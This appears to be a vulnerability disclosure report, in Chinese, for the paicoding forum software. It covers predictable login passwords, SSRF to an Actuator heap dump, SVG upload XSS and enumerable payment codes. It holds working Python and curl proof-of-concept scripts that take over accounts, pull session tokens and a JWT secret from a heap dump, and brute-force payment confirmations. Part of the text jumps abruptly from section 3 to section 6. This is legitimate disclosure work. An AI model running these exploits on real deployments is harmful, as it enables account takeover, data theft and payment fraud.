# paicoding 漏洞报告 软件名称:技术派(paicoding) 开发者或厂商:itwanger 代码仓库:https://github.com/itwanger/paicoding ## 1. loginByZsxq 登录口令可预测 简要描述:攻击者读取他人个人主页中泄露的星球编号,据此算出该会员账号的用户名与口令,接管受害者账号。 影响版本:1.0.3 漏洞引入:[paicoding commit b8206b97](https://github.com/itwanger/paicoding/commit/b8206b97cc504b939ca6fdc46e0a8c3e816b14e9) 前置条件:目标站点存在通过知识星球登录注册的会员账号。 ### 漏洞成因 `loginByZsxq` 在会员首次通过知识星球登录时自动注册本地账号,用户名与口令都由星球编号拼接而成,不含随机成分,相关代码如下: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/user/service/user/LoginServiceImpl.java:244-250 commit 6b85f5c327 UserPwdLoginReq loginReq = new UserPwdLoginReq() .setStarNumber(req.getStarNumber()) .setUsername("zsxq_" + req.getStarNumber()) .setPassword("zsxqp_" + req.getStarNumber()) ``` 星球编号入库前由 `StarNumberUtil.formatStarNumber` 统一补零成 5 位,用户名与口令取的都是补零后的值,所以公式里的编号是 `01234` 这样的形式。相关代码如下: ```java // paicoding-core/src/main/java/com/github/paicoding/forum/core/util/StarNumberUtil.java:27-29 commit 6b85f5c327 int number = Integer.parseInt(starNumber); // 格式化为5位数字符串 return String.format("%05d", number); ``` 攻击者可以从个人主页获得该用户的知识星球编号,因为个人主页的渲染包含了一份编辑表单,星球编号以 `value` 形式写入输入框,这段模板随 `/user/{userId}` 页面下发,不区分访问者是否为本人: ```html 星球编号 ``` 于是访问该主页的人都能读到星球编号。由于用户名与口令是编号的固定函数,读到编号即可算出二者,而 `/login/username` 校验通过后即签发会话。 ### 复现环境搭建 官方仓库没有提供 compose 文件,因此从源码构建后用 compose 启动。构建需要 JDK 与 Maven,运行环境为 Java 8,容器内保持官方默认的 8080 端口,宿主机端口换成 18070。构建与启动命令如下: ```bash git clone https://github.com/itwanger/paicoding.git cd paicoding mvn clean install -Dmaven.test.skip=true -Pdev mkdir -p run cp -r paicoding-web/target/classes run/classes mvn -q -pl paicoding-web dependency:copy-dependencies -DoutputDirectory=$PWD/run/lib cat > run/Dockerfile <<'EOF' FROM eclipse-temurin:8-jre WORKDIR /app COPY classes /app/classes COPY lib /app/lib EXPOSE 8080 ENTRYPOINT ["java","-Xms256m","-Xmx1024m","-cp","/app/classes:/app/lib/*","com.github.paicoding.forum.web.QuickForumApplication"] EOF cat > docker-compose.yml <<'EOF' services: mysql: image: mysql:8.0 environment: MYSQL_ROOT_PASSWORD: paicoding command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --default-authentication-plugin=mysql_native_password healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-ppaicoding"] interval: 5s timeout: 5s retries: 20 volumes: - mysql-data:/var/lib/mysql redis: image: redis:7-alpine healthcheck: test: ["CMD", "redis-cli", "ping"] interval: 5s timeout: 3s retries: 20 app: build: ./run depends_on: mysql: condition: service_healthy redis: condition: service_healthy environment: PAICODING_DB_HOST: mysql PAICODING_DB_PORT: 3306 PAICODING_DB_USERNAME: root PAICODING_DB_PASSWORD: paicoding PAICODING_REDIS_HOST: redis PAICODING_REDIS_PORT: 6379 PAICODING_REDIS_PASSWORD: "" PAICODING_ES_OPEN: "false" JAVA_TOOL_OPTIONS: "-Dfile.encoding=UTF-8 -Duser.timezone=Asia/Shanghai" ports: - "18070:8080" volumes: - app-storage:/tmp/storage volumes: mysql-data: app-storage: EOF docker compose up -d ``` 站点启动后,用站点自身的星球登录回调创建一位会员账号,模拟该会员首次通过知识星球登录。脚本如下: ```python import hashlib, time, httpx BASE = 'http://127.0.0.1:18070' now = int(time.time()) p = {'app_id': '666', 'group_number': '666', 'user_id': '88001', 'user_name': 'Alice', 'user_icon': '', 'user_number': '01234', 'user_role': '', 'extra': 'login', 'join_time': str(now - 86400 * 30), 'expire_time': str(now + 86400 * 365), 'timestamp': str(now)} kv = '&'.join(f'{k}={v}' for k, v in sorted(p.items()) if v != '') p['signature'] = hashlib.sha1((kv + '&secret=666').encode()).hexdigest() c = httpx.Client(base_url=BASE, timeout=20) c.get('/login/zsxq/callback', params=p, follow_redirects=False) me = c.get('/api/admin/user/info').json()['result'] print(me) ``` 输出如下: ``` {'id': '6', 'createTime': '2026-11-11T18:23:24.000+00:00', 'updateTime': '2026-11-11T18:23:24.000+00:00', 'userId': '6', 'userName': 'Alice', 'role': 'NORMAL', 'photo': 'https://cdn.tobebetterjavaer.com/paicoding/avatar/0091.png', 'profile': '', 'position': '', 'company': '', 'extend': '', 'deleted': 0, 'region': '', 'starStatus': 'FORMAL', 'starNumber': '01234', 'expireTime': '2027-11-12T02:23:24.000+00:00', 'email': '', 'payCode': ''} ``` 以下每节复现前都执行 `docker compose down -v` 与 `docker compose up -d`,使环境回到初始状态。 ### 复现过程 攻击者不登录,打开受害者的个人主页,页面 HTML 中带有 `id="starNumber"` 的输入框,其 value 即星球编号: ```bash curl -sS http://127.0.0.1:18070/user/6 | grep -oE 'value="[0-9]{5}"' ``` 输出如下: ``` value="01234" ``` 拿到编号后按公式算出用户名与口令,登录: ```bash curl -sS -i -X POST http://127.0.0.1:18070/login/username \ -d 'username=zsxq_01234&password=zsxqp_01234' ``` 响应如下: ``` HTTP/1.1 200 Set-Cookie: f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgyMjEzLCJzIjoiYzBhODIwMDQuMTc5NDQ1MDIxMzE4MC4wMDAwMTEwMDYiLCJ1Ijo2fQ.U-dKtGDve8SVJ943xevwjh3vemvZwsNbj9friDGVs3E; Max-Age=432000; Expires=Tue, 17-Nov-2026 02:23:33 GMT; Domain=127.0.0.1; Path=/ {"status":{"code":0,"msg":"OK"},"result":true} ``` 用该会话读取用户资料,结果属于受害者 Alice,会员状态为 FORMAL: ```bash curl -sS -b 'f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgyMjEzLCJzIjoiYzBhODIwMDQuMTc5NDQ1MDIxMzE4MC4wMDAwMTEwMDYiLCJ1Ijo2fQ.U-dKtGDve8SVJ943xevwjh3vemvZwsNbj9friDGVs3E' \ http://127.0.0.1:18070/api/admin/user/info ``` 响应如下: ``` {"status":{"code":0,"msg":"OK"},"result":{"id":"6","createTime":"2026-11-11T18:23:24.000+00:00","updateTime":"2026-11-11T18:23:24.000+00:00","userId":"6","userName":"Alice","role":"NORMAL","photo":"https://cdn.tobebetterjavaer.com/paicoding/avatar/0091.png","profile":"","position":"","company":"","extend":"","deleted":0,"region":"","starStatus":"FORMAL","starNumber":"01234","expireTime":"2027-11-12T02:23:24.000+00:00","email":"","payCode":""}} ``` 浏览器中可以看到该会话已经进入 Alice 的账号,页面显示星球编号与会员到期时间:  ## 2. 图片转存 SSRF 可读取 Actuator 堆转储 简要描述:普通用户借助图片转存接口访问仅监听本机的 Actuator,把 heapdump 落盘为静态文件,随后下载该文件,从中取出数据库口令、签名密钥与活跃会话等。 影响版本:1.0.3 漏洞引入:[paicoding commit 54d01f9e](https://github.com/itwanger/paicoding/commit/54d01f9e6d31cb42cdad6fdc5d2a61e72e5c947e) 前置条件:攻击者有普通权限账号。 ### 漏洞成因 `/image/save` 只要求登录,参数 `img` 由调用方指定,服务端不做地址校验,相关代码如下: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/image/service/ImageServiceImpl.java:90-113 commit 6b85f5c327 public String saveImg(String img) { if (imageUploader.uploadIgnore(img)) { return img; } try { InputStream stream = FileReadUtil.getStreamByFileName(img); URI uri = URI.create(img); String path = uri.getPath(); int index = path.lastIndexOf("."); String fileType = null; if (index > 0) { fileType = path.substring(index + 1); } String digest = calculateSHA256(stream); String ans = imgReplaceCache.getIfPresent(digest); if (StringUtils.isBlank(ans)) { ans = imageUploader.upload(stream, fileType); imgReplaceCache.put(digest, ans); } ... ``` 这里的文件扩展名取自 URL 的路径后缀,内容则来自远端响应。随后 `LocalStorageWrapper` 把流转写到本地目录,并以该后缀作为文件类型: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/image/oss/impl/LocalStorageWrapper.java:52-59 commit 6b85f5c327 String path = imageProperties.getAbsTmpPath() + imageProperties.getWebImgPath(); String fileName = genTmpFileName(); InputStream finalInput = input; String finalFileType = fileType; FileWriteUtil.FileInfo file = stopWatchUtil.record("存储", () -> FileWriteUtil.saveFileByStream(finalInput, path, fileName, finalFileType)); return imageProperties.buildImgUrl(imageProperties.getWebImgPath() + file.getFilename() + "." + file.getFileType()); ``` Actuator 的管理端口只绑在本机,但把全部端点都暴露出来,相关配置如下: ```yaml # paicoding-web/src/main/resources/application.yml:143-150 commit 6b85f5c327 management: server: address: 127.0.0.1 # 设置为本地ip,防止远程访问该连接进行关闭服务 port: 8999 endpoints: web: exposure: include: "*" ``` 管理端口绑定本机,转存接口让这种部署方式失去防护作用。`LocalStorageWrapper.upload` 在 `fileType` 为空时会把整条流读入字节数组以判断魔数,几百 MB 的堆转储会因此耗尽内存,所以请求路径要带一个后缀。把路径写成 `heapdump;x=.txt` 时,`path.lastIndexOf(".")` 取到的是 `;x=.txt` 中的后缀,于是绕过该分支直接落盘,堆内存导出文件被保存为 `/forum/image/xxxx.txt`。 ### 复现环境搭建 同第 1 节。 ### 复现过程 先让管理员正常登录一次,使 JVM 堆中存在活跃会话,随后攻击者注册普通账号并请求转存接口。脚本如下: ```python import base64, json, re, httpx BASE = 'http://127.0.0.1:18070' MGMT = '127.0.0.1:8999' admin = httpx.Client(base_url=BASE, timeout=20) admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'}) print('[victim] administrator logged in, f-session=%s' % admin.cookies.get('f-session')) attacker = httpx.Client(base_url=BASE, timeout=None) attacker.post('/login/register', data={'username': 'dumpbot', 'password': 'Dump@12345', 'starNumber': '01000', 'displayName': 'dumpbot'}) attacker.post('/login/username', data={'username': 'dumpbot', 'password': 'Dump@12345'}) print('[attacker] ordinary account f-session=%s' % attacker.cookies.get('f-session')) r = attacker.get('/image/save', params={'img': 'http://%s/actuator/heapdump;x=.txt' % MGMT}) print('[attacker] GET /image/save?img=http://%s/actuator/heapdump;x=.txt' % MGMT) print(' -> %s %s' % (r.status_code, r.text)) heap_path = r.json()['result']['imagePath'] anon = httpx.Client(base_url=BASE, timeout=20) heap = anon.get(heap_path).content print('[attacker] anonymous GET %s -> %d bytes' % (heap_path, len(heap))) print('[attacker] magic: %r' % heap[:18]) tokens = set() for m in re.finditer(rb'f-session=([A-Za-z0-9_.\-]{150,260})', heap): cand = m.group(1).decode() if cand.count('.') == 2: tokens.add(cand) print('[attacker] f-session values in the heap: %d' % len(tokens)) for tok in sorted(tokens): claims = json.loads(base64.urlsafe_b64decode(tok.split('.')[1] + '=' * (-len(tok.split('.')[1]) % 4))) info = httpx.get(BASE + '/api/admin/user/info', cookies={'f-session': tok}, timeout=10) if info.json().get('result'): print('[attacker] token u=%s -> %s' % (claims['u'], info.text)) print('[attacker] f-session=%s' % tok) for needle in (b'hello_world', b'PAICODING_DB_PASSWORD'): print('[attacker] heap contains %r: %s' % (needle, needle in heap)) ``` 输出如下: ``` [victim] administrator logged in, f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDE5LCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAxOTcyOS4wMDAwMTEwMDIiLCJ1IjoxfQ.tL_3sCtpU3FyXh-ygKpJB7FrHNhvGUVbhOOf86tJs2c [attacker] ordinary account f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDIwLCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAyMDI0OC4wMDAwMTEwMDYiLCJ1Ijo2fQ.yKyD5ocatBX8GoxwzDTo9WXeQDV7EDQPgx7h2I7m6HM [attacker] GET /image/save?img=http://127.0.0.1:8999/actuator/heapdump;x=.txt -> 200 {"status":{"code":0,"msg":"OK"},"result":{"imagePath":"/forum/image/20261112105344552_77.txt"}} [attacker] anonymous GET /forum/image/20261112105344552_77.txt -> 201717245 bytes [attacker] magic: b'JAVA PROFILE 1.0.2' [attacker] f-session values in the heap: 3 [attacker] token u=1 -> {"status":{"code":0,"msg":"OK"},"result":{"id":"1","createTime":"2026-11-11T18:53:31.000+00:00","updateTime":"2026-11-11T18:53:31.000+00:00","userId":"1","userName":"管理员","role":"ADMIN","photo":"https://imgs.hhui.top/forum/avatar/0066.png","profile":"码农","position":"java","company":"xm","extend":"","deleted":0,"region":"","starStatus":"IGNORE","starNumber":"","expireTime":null,"email":"","payCode":""}} [attacker] f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDE5LCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAxOTcyOS4wMDAwMTEwMDIiLCJ1IjoxfQ.tL_3sCtpU3FyXh-ygKpJB7FrHNhvGUVbhOOf86tJs2c [attacker] token u=6 -> {"status":{"code":0,"msg":"OK"},"result":{"id":"6","createTime":"2026-11-11T18:53:40.000+00:00","updateTime":"2026-11-11T18:53:40.000+00:00","userId":"6","userName":"dumpbot","role":"NORMAL","photo":"https://cdn.tobebetterjavaer.com/paicoding/avatar/0058.png","profile":"","position":"","company":"","extend":"","deleted":0,"region":"","starStatus":"TRYING","starNumber":"01000","expireTime":null,"email":"","payCode":""}} [attacker] f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDIwLCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAyMDI0OC4wMDAwMTEwMDYiLCJ1Ijo2fQ.yKyD5ocatBX8GoxwzDTo9WXeQDV7EDQPgx7h2I7m6HM [attacker] heap contains b'hello_world': True [attacker] heap contains b'PAICODING_DB_PASSWORD': True ``` `hello_world` 是 `paicoding.jwt.secret` 的明文取值,`PAICODING_DB_PASSWORD` 是数据库口令对应的环境变量名。除口令与密钥之外,堆中还留有其他用户登录时写入的 `f-session`,上一步取出的 u=1 会话即可访问管理接口。 ## 3. 图片上传 XSS 简要描述:攻击者上传带脚本的 SVG,受害者打开该文件时脚本在站点源下执行,进而接管受害者账号。 影响版本:1.0.0 ~ 1.0.3 漏洞引入:[paicoding commit 08da669b](https://github.com/itwanger/paicoding/commit/08da669b5ab1ef2183ed112a9945e962c46f8280) 前置条件:攻击者有普通权限账号。 ### 漏洞成因 `validateStaticImg` 只按请求声明的 `Content-Type` 判断类型,`svg` 被显式放行,相关代码如下: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/image/service/ImageServiceImpl.java:174-180 commit 6b85f5c327 private String validateStaticImg(String mime) { if ("svg".equalsIgnoreCase(mime)) { // fixme 上传文件保存到服务器本地时,做好安全保护, 避免上传了要给攻击性的脚本 return "svg"; } ``` 文件内容不做校验,带脚本的 SVG 被原样存成 `.svg`。本地存储把文件放进静态目录,`spring.web.resources.static-locations` 对外提供该目录,`.svg` 以 `image/svg+xml` 返回。会话 Cookie `f-session` 没有 `HttpOnly` 标记,脚本可以读取。 ### 复现环境搭建 同第 1 节。 ### 复现过程 攻击者注册普通账号,上传一个带脚本的 SVG: ```python import httpx BASE = 'http://127.0.0.1:18070' SVG = '''
\n' [anonymous] REST detail contains secret: True [anonymous] GET /draftleak1794451814 page contains draft secret: True [anonymous] REST detail contains draft secret: True ``` 而正常用户无法读出付费文章的 `PAYWALL_SECRET_9Z` 部分:  ## 7. 收款码确认值可枚举 简要描述:攻击者对自己的支付记录枚举确认值,即可把记录标记为支付成功,无需付款就能解锁付费文章。 影响版本:1.0.3 漏洞引入:[paicoding commit e491dfdf](https://github.com/itwanger/paicoding/commit/e491dfdff57b6ab8c5ca7488faefdd8cd20f6206) 前置条件:攻击者有普通权限账号,目标文章使用个人收款码。 ### 漏洞成因 确认值由“固定前缀 + 全局递增计数 + 支付记录 id”拼成,相关代码如下: ```java // paicoding-core/src/main/java/com/github/paicoding/forum/core/util/id/IdUtil.java:54-61 commit 6b85f5c327 public static String genPayCode(ThirdPayWayEnum payWay, Long id) { long now = System.currentTimeMillis(); if (DateUtil.skipDay(lastTime, now)) { lastTime = now; INCR.set((int) (Math.random() * 500)); } return payWay.getPrefix() + String.format("%06d", INCR.addAndGet(1)) + "-" + id; } ``` `INCR` 是进程内的计数器,每天从一个 0 到 499 的随机数开始,因此计数部分只有 2000 左右的取值。支付记录 id 在 `toPay` 的响应中返回给付款方。 回调接口不要求登录,把请求参数交给支付服务,相关代码如下: ```java // paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticlePayRestController.java:79-90 commit 6b85f5c327 @RequestMapping(path = "callback") public ResponseEntity' + 'C' * 600 + SECRET + '
', 'categoryId': 1, 'readType': 4, 'payWay': 'email', 'payAmount': 1, 'actionType': 'post', 'tagIds': [1], 'summary': 'p'}) aid = r.json()['result']['articleId'] print('[victim] paid article id=%s slug=%s payWay=email' % (aid, slug)) att = httpx.Client(base_url=BASE, timeout=20) att.post('/login/register', data={'username': 'payleech', 'password': 'Pay@12345', 'starNumber': '01040', 'displayName': 'payleech'}) att.post('/login/username', data={'username': 'payleech', 'password': 'Pay@12345'}) pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result'] pay_id = pay['payId'] print('[attacker] toPay -> payId=%s payStatus=%s payWay=%s' % (pay_id, pay['payStatus'], pay['payWay'])) def probe(n): code = 'EM%06d-%s' % (n, pay_id) rr = httpx.get(BASE + '/article/api/pay/callback', params={'verifyCode': code, 'payId': pay_id, 'succeed': 'true'}, timeout=5) if rr.status_code == 200 and rr.json().get('result') is True: return code return None found = None with concurrent.futures.ThreadPoolExecutor(max_workers=30) as ex: for res in ex.map(probe, range(0, 2000)): if res: found = res break print('[attacker] matched verifyCode=%s' % found) anon = httpx.Client(base_url=BASE, timeout=20) print('[anonymous] page contains secret before: %s' % (SECRET in anon.get('/' + slug).text)) print('[attacker] page contains secret now: %s' % (SECRET in att.get('/' + slug).text)) ``` 输出如下: ``` [victim] paid article id=2631610238296065 slug=paidemail1794451364 payWay=email [attacker] toPay -> payId=2631610238296066 payStatus=0 payWay=email [attacker] matched verifyCode=EM000012-2631610238296066 [anonymous] page contains secret before: False [attacker] page contains secret now: True ```